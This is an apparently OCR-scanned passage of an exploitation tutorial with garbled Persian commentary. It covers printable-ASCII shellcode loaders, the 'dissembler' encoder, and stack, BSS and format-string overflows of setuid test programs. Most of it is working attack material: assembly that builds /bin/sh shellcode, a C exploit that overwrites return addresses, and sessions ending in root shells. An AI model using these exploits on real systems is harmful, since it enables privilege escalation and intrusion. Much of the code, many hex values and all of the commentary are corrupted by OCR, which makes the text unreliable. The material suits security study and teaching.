sub eax, 0x65654477 ; from EAX to wrap EAX to 0x685180cd
sub eax, 0x756d4479 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack
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sub eax, 0x43434343 ; Subtract more printable values
sub eax, 0x25773025 ; from EAX to wrap EAX to 0xc931db3l
sub eax, 0x36653234 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x387a3848 ; Subtract more printable wvalues
sub eax, 0x38713859 ; from EAX to wrap EAX to 0x58466a90
push eax ; and then push EAX to the stack

; add a NOP sled

sub eax, 0x6a346a6a ; Subtract more printable values
sub eax, 0x254c3964 ; from EAX to wrap EAX to 0x90909090
sub eax, 0x38353632 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack
push eax ; many times to build a NOP sled
push eax ; to bridge the loader code to the
push eax ; freshly built shellcode.

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax
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$ nasm print.asm
$ cat print
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7777-JdJdbyP-Uu%U-
PPO6A-AtSRP-wwww—0033-s9DVP-r%0%-wDee-yDmuP-CCCC-%0w%-42e6P-H82z8-Y8gq8P-Jj4j~
d9L%-
2658PPPPPPPPPPPPPPPP
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printable exploit.c
#include <stdlib.h>

char shellcode[] =
"$JONE%$501:TX-3399-Purr—!TTTP\\$JONE%501 : —tKK4-gXn%-uPy%$P-8Jxn-%8sxP-dddd-
7775 -
JdbyP-UusU-ppbA-AtSRP-wwww—-0033-s9DVP-r$0%-wDee—-yDmuP-CCCC-%0w%s-42e6P-HB8z8~-
Y8g8P-

3347-d9L%-2658PPPPPPPPPPPPPPPP";

unsigned long sp (void) // This is just a little function
{ asm_ ("movl %esp, %eax");} // used to return the stack pointer

int main (int argc, char *argv([])
{

int i, offset;

long esp, ret, *addr ptr;

1)



char *buffer, *ptr;

if (argc < 2) // If no offset if given on command line
{ // Print a usage message
printf ("Use %s <offset>\nUsing default offset of 0\n",argv[0]);
offset = 0; // and set a default offset of 0.
}
else // Otherwise, use the offset given on command
line
{
offset = atoi(argv([l]); // offset = offset given on command line
}
esp = sp(); // Put the current stack pointer into esp
ret = esp - offset; // We want to overwrite the ret address
printf ("Stack pointer (EIP) : 0x%x\n", esp);
printf (" Offset from EIP : 0x%x\n", offset);
printf ("Desired Return Addr : Ox%x\n", ret);

// Allocate 600 bytes for buffer (on the heap)
buffer = malloc (600);

// Fill the entire buffer with the desired ret address
ptr = buffer;

addr_ptr = (long *) ptr;
for(i=0; 1 < 600; i+=4)
{ *(addr_ptr++) = ret; }

// Fill the first 200 bytes of the buffer with "NOP" instructions
for(i=0; 1 < 200; 1i++)
{ buffer[i] = 'Q@'; } // Use a printable single-byte instruction

// Put the shellcode after the NOP sled
ptr = buffer + 200 - 1;
for (i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcodeli]; }

// End the string
buffer[600-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
execl ("./vuln", "vuln", buffer, 0);

return 0;

}
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$ gcc -o exploit2 printable exploit.c

$ ./exploit2 0

Stack pointer (EIP) : Oxbffff7f8
Offset from EIP : 0xO0

Desired Return Addr : Oxbffff7f8

sh-2.05b# whoami

root

sh-2.05b#

qy
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$ echo 'main() {int sp;printf ("%$p\n",&sp);}'>g.c;gcc -o g.x g.c;./qg.x;rm g.?
Oxbffffg844

$ ./vuln 'perl -e 'print "JIBBAJABBA"x20;'"cat print"perl -e 'print
"\x44\xf8\xff\xbf"x40; "'

sh-2.05b# whoami

root

sh-2.05b#
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print2.asm

BITS 32
and eax, 0x454e4fd4a ; Zero out the EAX register
and eax, 0x3a313035 ; by ANDing opposing, but printable bits

sub eax, 0x59434243 ; Subtract various printable values
sub eax, Ox6f6fofof ; from EAX to set it to Oxbfffffel
sub eax, 0x774d4e6e ; (no need to get the current ESP this time)

push eax ; Push EAX to the stack, and then
pop esp ; pop that into ESP to do a mov eax, esp

; Now ESP is at Oxbfffffel
; which is past the loader bytecode that is executing now.

and eax, 0x454e4fd4a ; Zero out the EAX register again
and eax, 0x3a313035 ; using the same trick

sub eax, 0x344b4b74 ; Subtract some printable values
sub eax, 0x256e5867 ; from EAX to wrap EAX to 0x80cdObb0
sub eax, 0x25795075 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x6e784a38 ; Subtract more printable values
sub eax, 0x78733825 ; from EAX to wrap EAX to 0x99e18953
push eax ; and then push this to the stack

sub eax, 0x64646464 ; Subtract more printable values
sub eax, 0x6a373737 ; from EAX to wrap EAX to 0x51e3896e
sub eax, 0x7962644a ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x55257555 ; Subtract more printable values

v



sub eax,
sub eax,

push

eax

sub eax,
sub eax,
sub eax,

push

eax

sub eax,
sub eax,
sub eax,

push

eax

sub eax,
sub eax,
sub eax,

push

eax

sub eax,
sub eax,

push

eax

0x41367070
0x52257441

0x77777777
0x33334f4f
0x56443973

0x254£2572
0x65654477
0x756d4479

0x43434343
0x25773025
0x36653234

0x387a3848
0x38713859

; add a NOP sled
sub eax,
sub eax,
sub eax,

push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push

eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax
eax

Ox6a346aba
0x254c3964
0x38353632

$ nasm print2.asm
$ cat print2
assembled print2 shellcode

$JONES%501 : ~CBCY-0000-nNMwP\$JONE%501 : —tKK4-gXn%$-uPy%$P-8Jxn-%8sxP-dddd-777j—-

¥

from EAX to wrap EAX to 0x69622f68
(took 3 instructions to get there)
and then push EAX to the stack

Subtract more printable values
from EAX to wrap EAX to 0x68732f2f
(took 3 instructions to get there)
and then push EAX to the stack

Subtract more printable values
from EAX to wrap EAX to 0x685180cd
(took 3 instructions to get there)
and then push EAX to the stack

Subtract more printable values
from EAX to wrap EAX to 0xc931db31l
(took 3 instructions to get there)
and then push EAX to the stack

Subtract more printable values
from EAX to wrap EAX to 0x58466a90
and then push EAX to the stack

Subtract more printable values
from EAX to wrap EAX to 0x90909090
(took 3 instructions to get there)
and then push EAX to the stack
many times to build a NOP sled

to bridge the loader code to the
freshly built shellcode.
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$ export ZPRINTABLE=JIBBAJABBAHIJACK'cat print2'
$ env
MANPATH=/usr/share/man:/usr/local/share/man:/usr/share/gcc-data/1i686-pc-
linux-
gnu/3.2/man:/usr/X11R6/man:/opt/insight/man
INFODIR=/usr/share/info:/usr/X11R6/info
HOSTNAME=overdose
TERM=xterm
SHELL=/bin/sh
SSH CLIENT=192.168.0.118 1840 22
SSH_TTY=/dev/pts/2
MOZILLA FIVE HOME=/usr/lib/mozilla
USER=matrix
PAGER=/usr/bin/less
CONFIG PROTECT MASK=/etc/gconf
PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/i1686-pc-linux-gnu/gcc-—
bin/3.2:/usr/X11R6/bin:/opt/sun-jdk-1.4.0/bin:/opt/sun-jdk-
1.4.0/jre/bin:/usr/games/bin:/opt/insight/bin:.:/opt/j2rel.4.1/bin:/sbin:/u
sr/sbin:
/usr/local/sbin:/home/matrix/bin
PWD=/hacking
JAVA HOME=/opt/sun-jdk-1.4.0
EDITOR=/bin/nano
JAVAC=/opt/sun-jdk-1.4.0/bin/javac
PS1=\$
CXX=g++
JDK_HOME=/opt/sun-jdk-1.4.0
SHLVL=1
HOME=/home/matrix
ZPRINTABLE=JIBBAJABBAHIJACK%JONE%501 : -CBCY-0000-nNMwP\$JONE%501 : -tKK4-gXn%-
uPy%P-8Jxn-%8sxP-dddd-777j-JdbyP-Uu%U-pp6A-AtSRP-wwww-0033-s9DVP-r$0%-wDee-
yDmuP-CCCC-%$0w$-42e6P-H8z8-Y8gq8P-jj4j-d9L%~-
2658PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
LESS=-R
LOGNAME=matrix
CVS_RSH=ssh
LESSOPEN=| lesspipe.sh %s
INFOPATH=/usr/share/info:/usr/share/gcc-data/i686-pc-linux-gnu/3.2/info
CC=gcc
G_BROKEN FILENAMES=1
_=/usr/bin/env
$ ./getenvaddr ZPRINTABLE
ZPRINTABLE is located at Oxbffffe63
$ ./vuln2 'perl -e 'print "\x63\xfe\xffi\xbf"x9;''
sh-2.05b# whoami
root
sh-2.05b#

DS o YLS 293 4 3 S- b opl 13wl 48,5 )18 busee (slesl (S0 55 3 ZPRINTABLE jusie 09
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$ unset ZPRINTABLE

$ export SHELLCODE=JIBBAJABBAHIJACK'cat print2'

$ env
MANPATH=/usr/share/man:/usr/local/share/man:/usr/share/gcc-data/i686-pc-
linux-

gnu/3.2/man:/usr/X11R6/man: /opt/insight/man
INFODIR=/usr/share/info:/usr/X11R6/info

HOSTNAME=overdose
SHELLCODE=JIBBAJABBAHIJACK$JONE%501 : -CBCY-0000-nNMwP\%$JONE%501 : -tKK4-gXn%-
uPy%P-8Jxn-%8sxP-dddd-777j-JdbyP-Uu%U-pp6A-AtSRP-wwww-0033-s9DVP-r$0%-wDee—
yDmuP-CCCC-%0w%-42e6P-H8z8-Y8g8P-jj4j-do9L%~-
2658PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

TERM=xterm

SHELL=/bin/sh

SSH CLIENT=192.168.0.118 1840 22

SSH TTY=/dev/pts/2

MOZILLA FIVE HOME=/usr/lib/mozilla

USER=matrix

PAGER=/usr/bin/less

CONFIG PROTECT MASK=/etc/gconf
PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/i686-pc-linux-gnu/gcc-
bin/3.2:/usr/X11R6/bin:/opt/sun-jdk-1.4.0/bin:/opt/sun-jdk-
1.4.0/jre/bin:/usr/games/bin:/opt/insight/bin:.:/opt/j2rel.4.1/bin:/sbin:/u
sr/sbin:

/usr/local/sbin:/home/matrix/bin

PWD=/hacking

JAVA HOME=/opt/sun-jdk-1.4.0

EDITOR=/bin/nano

JAVAC=/opt/sun-jdk-1.4.0/bin/javac

PS1=\$

CXX=g++

JDK HOME=/opt/sun-jdk-1.4.0

SHLVL=1

HOME=/home/matrix

LESS=-R

LOGNAME=matrix

CVS_RSH=ssh

LESSOPEN=|lesspipe.sh %s
INFOPATH=/usr/share/info:/usr/share/gcc-data/i686-pc-linux-gnu/3.2/info
CC=gcc

G_BROKEN FILENAMES=1

_=/usr/bin/env

$ ./getenvaddr SHELLCODE

SHELLCODE is located at Oxbffffc03

$ ./vuln2 'perl -e 'print "\x03\xfc\xff\xbf"x9; "'

Segmentation fault

$ export SHELLCODE=JIBBAJABBAHIJACK'cat
print2'PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP

P

$ ./getenvaddr SHELLCODE

SHELLCODE is located at Oxbffffb63

$ ./vuln2 'perl -e 'print "\x63\xfb\xff\xbf"x9; "'

sh-2.05b# whoami

root

sh-2.05b#

o kST 13 OT J1 Olgs (gm0 0313 S shusre puitio S 43 9 3 g0 YIS 295 4 Oz b 3S— b 45 O giS]
23,8 olaiwl Cao pi-aid ) 9 Heap o o sl jo ) s
13k (50 (B 03 22 ko) Heap (oo o S50 Gl o 35— Sl eoliswl jI 1) (Jle ) >
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$ unset SHELLCODE
$ export ZPRINTABLE='cat print2'
$ getenvaddr ZPRINTABLE
ZPRINTABLE is located at Oxbffffe73
$ pcalc 0x73 + 4
119 0x77 0yl1110111
$ ./bss _game 12345678901234567890'printf "\x77\xfe\xff\xbf"'
-—--DEBUG--
[before strcpy] function ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890wby¢
[after strcpy] function ptr @ 0x8049c88: Oxbffffe77

sh-2.05b# whoami
root
sh-2.05b#

Bwlo 8 co Yo Cao 8-l ) CoghanS1 SO ) Ol BB 2SSl aslaiwl jl 1) (Jlo ju beol o

$ getenvaddr ZPRINTABLE
ZPRINTABLE is located at Oxbffffe73
$ pcalc 0x73 + 4
119 0x77 Oyl110111
$ nm ./fmt vuln | grep DTOR
0804964c d _ DTOR END
08049648 d _ DTOR LIST
$ pcalc 0x77 - 16

103 0x67 Oy1100111
$ pcalc Oxfe - 0x77

135 0x87 0y10000111
$ pcalc 0x1ff - Oxfe

257 0x101 0y100000001
$ pcalc Oxlbf - Oxff

192 0xcO0 0y11000000

$ ./fmt _vuln 'printf
"\x4c\x96\x04\x08\x4d\x96\x04\x08\x4e\x96\x04\x08\x4f\x96\x04\x08""%$3\$103x
%4\Sn%3\

$135x%5\5n%3\35257x%6\5n%3\$192x%7\Sn

The right way:

%$35$103x%45n%3$135x%55n%3$257x%65n%3$192x%7%n

The wrong way:

0
[*] test val @ 0x08049570 = -72 Oxffffffb8
sh-2.05b# whoami
root
sh-2.05b#

Sldos 0T 43 45 28,5 IS (51 40l 2 03,5 o ghunsST sl Olgine L) pol> 35— b Jho ol B 3S-Jb Sy
298 00 plomil Ol BB e sl SIS Oab 3930 Cug (input validation) 59,9 (s liel

Dissembler ,l 1.V, -,
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o=l 38 3dgr Ol BB Seol (saaS—Cul 35195 g0 39790 35—l 4S5 S5 jl 9 S o p3likeol b s Y
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$ ./dissembler
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dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
438C 0255 861A OD2A 6F6A 14FA 3229 4BD7 5ED9 69DO

Usage: ./dissembler [switches] bytecode

Optional dissembler switches:

-t <target address> near where the bytecode is going

-N optimize with ninja magic

-s <original size> size changes target, adjust with orig size
-b <NOP bridge size> number of words in the NOP bridge

-c <charset> which chars are considered printable

-w <output file> write dissembled code to output file

-e escape the backlash in output

,_;INOPJ.,;(,:.-&L.apsz.nwgﬁsa&3)..:.'34;:;2.3_GteﬁljgleS—J&&:}uubﬁcﬂlub)é&J,bg
Ui b gdgms b Ol3 oo ) o 051351 303 3igwy SSu3Sy 40 1) sl 0 sl 35— Jid 9 I35 ) 35 45 S o
0235 o Galod 4 (3id amy Jasd (slal 3 45) VUIN2.C oy b 1) 30T ool s 43 23,8

$ cat vuln2.c
int main (int argc, char *argv([])
{
char buffer[5];
strcpy (buffer, argv([1l]);
return 0;

gcc -o vuln2 wvuln2.c
sudo chown root.root wvuln2
sudo chmod +s wvuln2

Uy Uy Uy

$ dissembler -e -b 300 tinyshell
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69DO

[e] Escape the backslash: ON
[b] Bridge size: 300 words
[*] Dissembling bytecode from 'tinyshell'...

[+] dissembled bytecode is 461 bytes long.
$83D5%AD0H-hhhh-KKKh-VLLoP\\-kDDk-vMvc-fbxpP--Mzp-05qvP-VVVV-bbbx--GEyP-
Sf6S-Pz%P-

CY3EP-xxXxX-PP5P-q7A8P-w777-wlpp-t-zXP-GHHH-00x%-%- 1P-JjKzK-7%q%P-0000-yyll-
WOTfPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP

PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

$ export SHELLCODE=%83D5%ADOH-hhhh-KKKh-VLLoP\\-kDDk-vMvc-fbxpP--Mzp-05qvP-
VVVV-
bbbx--GEyP-Sf6S-Pz%P-Ccy%$EP-XxxXx-PP5P-q7A8P-w777-wlpp-t-zXP-GHHH-00x%-%-_ 1P-
JKzK-

7%q%P-0000-yyll-
WOTfPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP

PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

$ ./getenvaddr SHELLCODE

SHELLCODE is located at Oxbffffa3a

$ 1In -s ./getenvaddr ./gtenv

1A



$ ./gtenv SHELLCODE

SHELLCODE is located at Oxbffffad4

$ ./vuln2 'perl -e 'print "\x44\xfa\xff\xbf"x8;''
sh-2.05b# whoami

root

sh-2.05b#

) LSS 4y 53,5 1S pEd sl 23 Sl 298 25— b o I Ol S Sl 35— b Jle ol >
o=l 0329 Joe 03,5 98 sl S3Lsl backslash SIS I Jamo pitio S 5 (Jlopmws 350 st 5 guily el
JLlz 5 46l pb Jgb 4 diws Jgoro Gab 390 plnil 55 Sl Glall 9 (o8 Oldoe U Gl 225 ooliswl @SS
23S 22ls3 juds Jhasre paiiio )3 35— OlSe (=]

L L oojlasl od Job o SO O g0 4 gl 6lis JUasil SO b pd ) (2L Jlesl plxil sl 4 45 2uS 4295
23T pol> J> 3 il 59 o gk 35T 18 Jagud cammw Jor ol Canwl 0335 slow| getenvaddr 4ol
39S Gl 03 1) 395 5l wline al) SO U sl oo bluse

231350 Lol (3l oo cawlio OIS 03,5 1 (810 45 (ol 1V« Usleo) ol 03 JuSuis NOP aodS Ve I s
02l 05 (g0 132 1) JI3E L 3S (510 Bd yuisT 1398 (o0 Sy o (s ©ogo ol 23 Jw Qlz JB 3S-Jib
3 S oslaiwl b 03,5 Glall 9 b O3,5 S Jl (6095 sl U8 Ji Ololle jl Olgieo (paizon .3 )8 diuge | 811
slbs )5 (verbose information) oS Olelb/ ol s salgs auigs 5 1kl o295 )3 35— Jb SS9
3 )lskwl

O 383 (g0 OLLS (Jgemo 3S- i S I Ol B 5S- b slwl g |y dissembler jl aslacwl ) o295
2= % VUINZ 4ol o 03 =S S slaanST (51 m 13y 9 395 (0 8053 chaso jusito S US> Ol JB 2S- &

35 eaalgs O jl a3kl
$ export SHELLCODE='dissembler -N -t Oxbffffad44d tinyshell'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string

- Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69DO

Ninja Magic Optimization: ON

Target address: Oxbffffad4

Ending address: Oxbffffbl6

Dissembling bytecode from 'tinyshell'...
Optimizing with ninja magic...

2 * + =2

[+] dissembled bytecode is 145 bytes long.

$ env | grep SHELLCODE
SHELLCODE=%PG2H%%8H6-IIIz-KHHK-xsnzP\-RMMM-x11x-z5yyP-04yy—--NrmP-tttt-0F0m-
AEYfP-
Th%I-zz%z-Cw6%P-m%%%-UsUz-wgtaP-02YY-z-g--yNayP-99X9-66e8--6b-P-1-s5--8CxCP
$ ./gtenv SHELLCODE

SHELLCODE is located at 0xbffffb80

$ ./vuln2 'perl -e 'print "\x80\xfb\xff\xbf"x8;''

Segmentation fault

$ pcalc 461 - 145

316 0x13c 0y100111100
$ pcalc 0xfb80 - 316
64068 Oxfad4 O0y1111101001000100

$

d= © s 505 0T il diagr b 45 Lz ol jiS258 Sl pil> Jl> 43 @l BB 35— Jb oS 35S dg5
s o>k YIS 35 1 awy lids =8ly 35— b ile gz Olz BB 35— I Comd (udl . Caanns NOP
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ol D2 di yghiie ol 4 dissembler

$ export SHELLCODE='dissembler -N -t Oxbffffad44 -s 461 tinyshell'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
438C 0255 861A OD2A 6F6A 14FA 3229 4BD7 5ED9 69DO

Ninja Magic Optimization: ON

Target address: Oxbffffadd

Size changes target: ON (adjust size: 461 bytes)
Ending address: Oxbffffblé6

Dissembling bytecode from 'tinyshell'...
Optimizing with ninja magic...

Adjusting target address to Oxbffffb80..

2 * + W ot =ZF

[+] dissembled bytecode is 145 bytes long.

$ env | grep SHELLCODE
SHELLCODE=%M4NZ%0B0%-1111-1AAz-3VRYP\-%0bb-6vvv-%JZ2fP-06wn--LtxP-AAAN-LVvvVvV—
XHFcP-
11%1-eu%8-5x6DP-gggg-100i-ihWOP-yFFF-v511-s20MP-BBsB-56X7-%-T%$P-1%u%—-8KVKP
$ ./vuln2 'perl -e 'print "\x80\xfb\xff\xbf"x8;''

sh-2.05b# whoami

root

sh-2.05b#

Sl ol 4L s Ol JolB 3S- i s J> 3 21351 bl o JIS395 & )90 4 B2 udT L ol

(pazd D900 4) 2L g0 Glules i B3 3932 T ol p 03,5 o ghosST Jagund
4 gozmo (| .l (Customizable character set) ijliw jiSIYIS 4 g0mmo S jl 03\l 555 sudo J> ol
=B 0= i ) Jlio 231380 Caddy 1) ciliseo SIS (sl 3930 U 3l 00 3B Oz B S-S

LI W A:J,J%’—s7 ZwdtcP L;lb).'iSblSﬂb)lizmngLq;bGM)GouW |) Lf-’-"-'

$ export SHELLCODE='dissembler -N -t Oxbffffadd -s 461 -c Pctwz72-%
tinyshell'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69DO

Ninja Magic Optimization: ON

Target address: Oxbffffad4

Size changes target: ON (adjust size: 461 bytes)
Using charset: Pctwz72-% (9)

Ending address: Oxbffffbl6

Dissembling bytecode from 'tinyshell'...
Optimizing with ninja magic...

Adjusting target address to Oxbffffbde..

2R + Q0 =

L s B e M e B e s s M)
S

[+] dissembled bytecode is 195 bytes long.

$ env | grep SHELLCODE

SHELLCODE=%P---%%PPP-t%2%-tt-t-t7Pt-t2P2P\-w2%w-2c%2-c-t2-t-tcP-t-—---tzc2-
Sw—7-Pc-
PP-w-PP-z-c—--z-%P-zw%zP-z7w2--wcc——-tt—--272%P-7P%7-z2ww—-Cc————-%P%%P-w%z%—-t%—
w-wczcPhP-

zz2%t-7PPP-tc2c-wwwwP-wwcw—-Pc-P-w2-2-cc-wP

$ ./vuln2 'perl -e 'print "\xde\xfb\xfflxbf"x8;''
sh-2.05b# whoami

root

sh-2.05b#
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only print.c code
void func (char *data)
{
char buffer[5];
strcpy (buffer, data);
}

int main(int argc, char *argv([], char *envpl[])
{

int 1i;

// clearing out the stack memory
// clearing all arguments except the first and second

memset (argv([0], 0, strlen(argv[0]));
for (i=3; argv[i] !'= 0; i++)

memset (argv([i], 0, strlen(argv[i])):;
// clearing all environment variables
for (i=0; envp[i] !'= 0; i++)

memset (envp[i], 0, strlen(envp[i])):;

// If the first argument is too long, exit
if(strlen(argv([1l]) > 40)
{
printf ("first arg is too long.\n");
exit (1) ;
}

if (argc > 2)
{
printf ("arg2 is at %p\n", argv[2]);
for (i=0; i < strlen(argv[2])-1; i++)
{
if (! (isprint (argv[2][i])))
{
// If there are any nonprintable characters in the
// second argument, exit
printf ("only printable characters are allowed!\n");
exit (1) ;

}
}
func(argvl[l]);
return 0;

}
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$ gcc -o only print only print.c

$ sudo chown root.root only print

$ sudo chmod u+s only print

$ ./only print nothing here yet 'dissembler -N shellcode'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string

1)



- Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69DO

Ninja Magic Optimization: ON
Dissembling bytecode from 'shellcode'...
Optimizing with ninja magic...
dissembled bytecode is 189 bytes long.

+ & * =
AR

[
[
[
[
arg2 is at Oxbffff9c4

$ ./only print nothing here yet 'dissembler -N -t Oxbffff9c4 shellcode'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string

- Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
438C 0255 861A OD2A 6F6A 14FA 3229 4BD7 5ED9 69DO

] Ninja Magic Optimization: ON

] Target address: Oxbffff9c4

] Ending address: Oxbffffadc

] Dissembling bytecode from 'shellcode'...
] Optimizing with ninja magic...

] Optimizing with ninja magic...

[+] dissembled bytecode is 194 bytes long.

arg2 is at Oxbffff9bf
Jos @Placeholder) Jl25l> s Olgic 4 L5 OlogS )T sl «OlogS )T o9 Glaseino O3 (s p&aa b
2313 3929 dorunss 93 Gyumr 01351 BB S Lol (3l Grlro OlogS )T o9 O b 3L CBsa wysT .38 o

.@»'b»ﬁ@@él,&m'é'x—s eﬁyow?wb 19F dens a093 9 390 Cob 1 AR deu 9l

$ ./only print nothing here yet 'dissembler -N -t Oxbffff9c4 -s 189
shellcode'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69DO

Ninja Magic Optimization: ON

Target address: Oxbffff9c4

Size changes target: ON (adjust size: 189 bytes)
Ending address: Oxbffffadc

Dissembling bytecode from 'shellcode'...
Optimizing with ninja magic...

Adjusting target address to OxbffffOc4..
Optimizing with ninja magic...

Adjusting target address to OxbffffObf..

2R * + W F

L R e e T e T e B B e B
e e e e e e

[+] dissembled bytecode is 194 bytes long.
arg2 is at Oxbffff9bf
$ ./only print 'perl -e 'print "\xbf\xfI\xffixbf"x8;'' 'dissembler -N -t
Oxbffff9c4
-s 189 shellcode'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string

- Jose Ronnick <matrix@phiral.com> Phiral Research Labs -

438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69DO

[N] Ninja Magic Optimization: ON

[t] Target address: Oxbffff9c4

[s] Size changes target: ON (adjust size: 189 bytes)
[+] Ending address: Oxbffffadc

[*] Dissembling bytecode from 'shellcode'...

[&] Optimizing with ninja magic...

[&] Adjusting target address to Oxbffff9c4d..

[&] Optimizing with ninja magic...

[&] Adjusting target address to OxbffffOobf..

[+] dissembled bytecode is 194 bytes long.

.
—



arg2 1is at Oxbffffobf
sh-2.05b# whoami

root

sh-2.05b#

23S eald ) ol BB b SIS sle 63909 gimwoliiel jl 35— Jib gue Ol Ol LB 3S- b jl aoliiwl
b.\.bLua.o|JdLouJ|)J)))»Suocsli_bw_ﬁsbflub)wMby&6w|ual.o))§a)4.>yd;lsdlio

cleared stack.c code
void func (char *data)
{
char buffer[5];
strcpy (buffer, data);
}

int main(int argc, char *argv[], char *envpl[])
{

int 1i;

// clearing out the stack memory
// clearing all arguments except the first

memset (argv([0], 0, strlen(argv[0]));
for (i=2; argv[i] !'= 0; i++)

memset (argv([i], 0, strlen(argv[i])):;
// clearing all environment variables
for (i=0; envp[i] !'= 0; i++)

memset (envp[i], 0, strlen(envp[i])):;

// If the first argument is too long, exit
if(strlen(argv([1l]) > 40)
{
printf ("first arg is too long.\n");
exit (1) ;
}

func (argv([1l]);
return 0;

}

09 -3mled o SUy ) (o Sl puitio plod aizrod 9 OlogS )T dsl st 4 L) @ 5o OlogS T plos 4ol

Slo= 2lad Yoo 13 0315 Job ol Fe L5 OlogS )T ¢l 9 383 (g0 E s pw &5 Cannl S0 OlogS )T (gl
bl axdls 3929 e 39Lh 515 3929 3S-Jb s SIS

DS Zis 39290 Casidg J 1) (5 )5 quidly o gud diy dlidl> ) 30 9 40l 22 035 Sy (sl GDB jl 2kl

DS salgs
$ gcc -g -o cleared stack cleared stack.c
$ sudo chown root.root cleared stack
$ sudo chmod u+s cleared stack
$ gdb -g ./cleared stack
(gdb) 1list
4 strcpy (buffer, data);
5 }
6
7 int main(int argc, char *argv[], char *envpl[])
8 {
9 int i; 10
11 // clearing out the stack memory
12 // clearing all arguments except the first
13 memset (argv[0], 0, strlen(argv[0]));
(gdb)
14 for (i=2; argv[i] != 0; i++)
15 memset (argv([i], 0, strlen(argv[i])):;



16
17
18
19
20
21
22
23

(gdb) break 21

// clearing all environment variables
for (i=0; envp[i] != 0; i++)
memset (envp[i], 0, strlen(envp[i])):;

// If the first argument is too long, exit
if(strlen(argv[1l]) > 40)
{

printf ("first arg is too long.\n");

Breakpoint 1 at 0x8048516: file cleared stack.c, line 21.

(gdb) run test

Starting program: /hacking/cleared stack test

Breakpoint 1, main (argc=2, argv=0xbffff904, envp=0xbffff910)
at cleared stack.c:21
21 if(strlen(argv[1l]) > 40)
(gdb) x/128x Oxbffffc00
Oxbffffc00: 0x00000000 0x00000000 0x00000000 0x00000000
OxbffffclO: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffc20: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffc30: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffc40: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffc50: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffc60: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffc70: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffc80: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffc90: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffcal: 0x00000000 0x00000000 0x00000000 0x00000000
OxbffffcbO: 0x00000000 0x00000000 0x00000000 0x00000000
OxbffffccO: 0x00000000 0x00000000 0x00000000 0x00000000
OxbffffcdO: 0x00000000 0x00000000 0x00000000 0x00000000
